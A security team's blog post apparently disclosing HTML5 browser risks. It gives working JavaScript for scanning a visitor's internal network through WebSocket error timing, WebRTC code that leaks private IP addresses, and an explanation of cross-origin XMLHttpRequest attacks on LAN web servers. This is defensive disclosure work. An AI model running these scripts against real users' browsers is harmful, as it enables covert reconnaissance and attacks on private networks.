n.runs security team

if we find it interesting, we post it here ;-)

Risks of Standard HTML5

Overview

This text describes risks that are introduced by current browsers and are not vulnerabilities caused by software bugs, but are implemented this way to comply with standards of the W3 Consortium.

Same origin Policy

One of the cornerstones of the JavaScript security model is the same origin policy. This means that if a Script was downloaded from http://host1.example.com:8000, the script can only create connections to host.1example.com port 8000. Not port 8001 and not host2.example.com.

However there are two functions in JavaScript that allow to circumvent this limitation: XMLHttpRequest and WebSocket. These can be abused to get an insight into the victim’s network and even to attack web servers, that are on the inside.

WebSockets

WebSockets are a means of asynchronous communication between a browser and a server. Instead of the usual cycle: Browser sends a request, Server sends an answer it establishes a two way connection where each side can send data and the other can receive it which makes application development much easier.

A WebSocket is created by passing a WebSocket uri as argument to the instantiation of a new WebSocket. The uris have the format “ws://host:port”. wss is used as protocol, if the connection shall be encrypted. What happens underneath the hood is that a connection is created to host:port which is expected to be a web server. This connection is then ‘upgraded’ to a WebSocket, if the server understands the WebSocket protocol. If a web proxy is in between client and server the connection shows up as a CONNECT request.

An error handler can be attached to the WebSocket that is triggered if something goes wrong when trying to connect to the server. WebSockets completely ignore the same origin policy so the script can connect anywhere it wants. The impact of this is limited as only services that provide websockets can be contacted in a meaningful way. However if there are any in the LAN, a rogue script can attack these.

This error handler can be used to scan, which internal hosts are reachable. Unfortunately the error handler does not give a reason why the connection attempt failed (nothing running on this port, host not reachable, something running on this port which isn’t a WebSocket service). However if the script measures the time between the attempt to connect and the occurrence of the error it can decide if the target host was reachable (error occurs very quickly) or the host is not reachable (we have to wait for the TCP timeout before the error is triggered). The following sample code assumes a function that produces an IP address to be tested for each call of getNextIP(). The function scan than tests, measures the time and stores the results in a hash that can later be analyzed.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function scan
{
    var currentip=getNextIP();
    if(currentip != null)
    {
  var now=new Date();
  var channel = new WebSocket("ws://"+currentip+":8000", 'wstest');
  channel.onerror = function(evt)
  {
          var errTimestamp = evt.timeStamp;
      if(navigator.userAgent.search("Firefox")>0)
      errTimestamp = Math.floor(errTimestamp/1000); //Firefox takes it times 1000
          var timediff = errTimestamp - now;
          results[currentip] = timediff;
          scan();
  };
  channel.onopen = function()
  {
          results[currentip] = "up+websocket";
          scan();
  };
    }
}

The result of this scan is a list of pingable hosts. And if there are actual hosts that speak WebSocket, these are identified as well.

Taking Aim

The function above needs a list of IP-Addresses to scan. If these are not known beforehand, the RFC1918 address ranges are a good candidate. However scanning all of there would take too long as due to the asynchronous nature of waiting for the error handler this scan is rather slow. To make it easier it would be helpful to know the subnet in which the victim browser is located to limit the address ranges to probe based on this information.

Luckily newer versions of Firefox and Chrome contain a video-chat functionality called WEBRTC. A part of this functionality is to find the reachable IP-Address behind NAT-Gateways and pack all the IP-Addresses in one string that JavaScript can work with. To do this a connection to a STUN server on the Internet is tried. The following JavaScript code does the trick for Firefox:

1
2
3
4
5
6
7
8
9
var serv=null;
pc = new mozRTCPeerConnection(serv);
pc.createOffer(function(sd)
             {
          pc.setLocalDescription(sd);
          description = sd.sdp;
               }, null, {'mandatory': {'OfferToReceiveAudio': true,
         'OfferToReceiveVideo': true} }
);

The variable

description
afterwards contains information like the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
v=0
o=Mozilla-SIPUA-24.0 9169 0 IN IP4 0.0.0.0
s=SIP Call
t=0 0
a=ice-ufrag:a903f5c9
a=ice-pwd:96f2143cb1b6bcfa7c46552736052591
a=fingerprint:sha-256 5F:77:4D:61:40:26:73:63:44:33:10:82:F8:9E:9C:68:F3:45:4D:86:FF:6F:FD:80:3D:41:85:E3:85:C5:28:E0
m=audio 31106 RTP/SAVPF 109 0 8 101
c=IN IP4 188.174.207.241
a=rtpmap:109 opus/48000/2
a=ptime:20
a=rtpmap:0 PCMU/8000
a=rtpmap:8 PCMA/8000
a=rtpmap:101 telephone-event/8000
a=fmtp:101 0-15
a=recvonly
a=candidate:0 1 UDP 2113601791 10.1.1.1 53795 typ host
a=candidate:1 1 UDP 1694236671 1.2.3.4 31106 typ srflx raddr 10.1.1.1 rport 53795
a=candidate:2 1 UDP 2111832319 192.168.56.1 59185 typ host
a=candidate:4 1 UDP 2111766783 192.168.57.1 53675 typ host
a=candidate:6 1 UDP 2111701247 10.2.2.1 54228 typ host
a=candidate:0 2 UDP 2113601790 10.1.1.1 60413 typ host
a=candidate:1 2 UDP 1694236670 1.2.3.4 29565 typ srflx raddr 10.1.1.1 rport 60413
a=candidate:2 2 UDP 2111832318 192.168.56.1 49990 typ host
a=candidate:4 2 UDP 2111766782 192.168.57.1 61429 typ host
a=candidate:6 2 UDP 2111701246 10.2.2.1 51449 typ host
m=video 9452 RTP/SAVPF 120
c=IN IP4 1.2.3.4
a=rtpmap:120 VP8/90000
a=recvonly
a=candidate:0 1 UDP 2113601791 10.1.1.1 53202 typ host
a=candidate:1 1 UDP 1694236671 1.2.3.4 9452 typ srflx raddr 10.1.1.1 rport 53202
a=candidate:2 1 UDP 2111832319 192.168.56.1 60005 typ host
a=candidate:4 1 UDP 2111766783 192.168.57.1 54567 typ host
a=candidate:6 1 UDP 2111701247 10.2.2.1 62449 typ host
a=candidate:0 2 UDP 2113601790 10.1.1.1 59964 typ host
a=candidate:1 2 UDP 1694236670 1.2.3.4 3717 typ srflx raddr 10.1.1.1 rport 59964
a=candidate:2 2 UDP 2111832318 192.168.56.1 59741 typ host
a=candidate:4 2 UDP 2111766782 192.168.57.1 52279 typ host
a=candidate:6 2 UDP 2111701246 10.2.2.1 56651 typ host
a=rtcp-fb:* nack
a=rtcp-fb:* ccm fir

In this example addresses in the 10 and 192.168. ranges are private and 1.2.3.4 stands for the IP address that this host appears on on the Internet. With a bit of parsing, the RFC1918 addresses can be extracted and a list for the getNextIP function used in scan() can be compiled.

It gets worse: XMLHTTPRequest()

While the impact of using WebSockets to find internal reachable hosts classifies as a nuisance and does not pose an immediate threat to the network (unless there are WebSocket services running) there is a second method that allows the circumvention of the same origin policy as well. This is XMLHTTPRequest. This function is used to build complex requests between a JavaScript application in the browser and the web server. It allows to create POST requests and set custom headers. Basically an attacker can create any request type from the OWASP top ten list using XMLHTTPRequest. If it is used against a URL that violates the same origin policy an error is triggered that depending on the browser even says “You are not allowed to do that”. However the request is executed as one can verify if the target chosen is a web server where the log files can be monitored. So while the attacker does see the result of the attack it might still be successful.

This was reported as an error to Microsoft, Mozilla and the Chromium team. All three closed the error mentioning, that this is according to the CORS specification of the W3C. And indeed in this specification it is stated that it should be allowed. Application can protect themselves by verifying the ‘Origin’ header field in the HTTP Request that points to the URI where the JavaScript code executing the request was downloaded from. If it is an allowed origin the request is processed by the server or else denied with an appropriate error code.

While what the W3C is proposing there is a nice theoretical construct if all web applications or at least web servers would be developed from now on having the Origin header in mind this poses a high risk in a typical LAN where there are lots of unpatched old web applications and web servers a little bit of JavaScript can wreak havoc. Setting this behavior as a standard is quite naive considering real world deployments.

The

scan()
routing can be replace by an XMLScan Routine, as the same method of timing works in the error handler if XMLHTTPRequest as well.

Conclusion/Recommendation

There are a few mitigations that can be recommended:

There are two pieces of demo code attached to this blog entry. The first allows You to create an XMLHTTP-Request against Your own internal web server. So You can verify, that a script on this externally loaded page can access any of Your web servers if You press the button.

The second does a scan of the RFC1918 LAN(s) that Your browser is connected to and shows the results in Your browser. This only works with Firefox 22 or newer.

Written by

Konstantin Agouros

Comments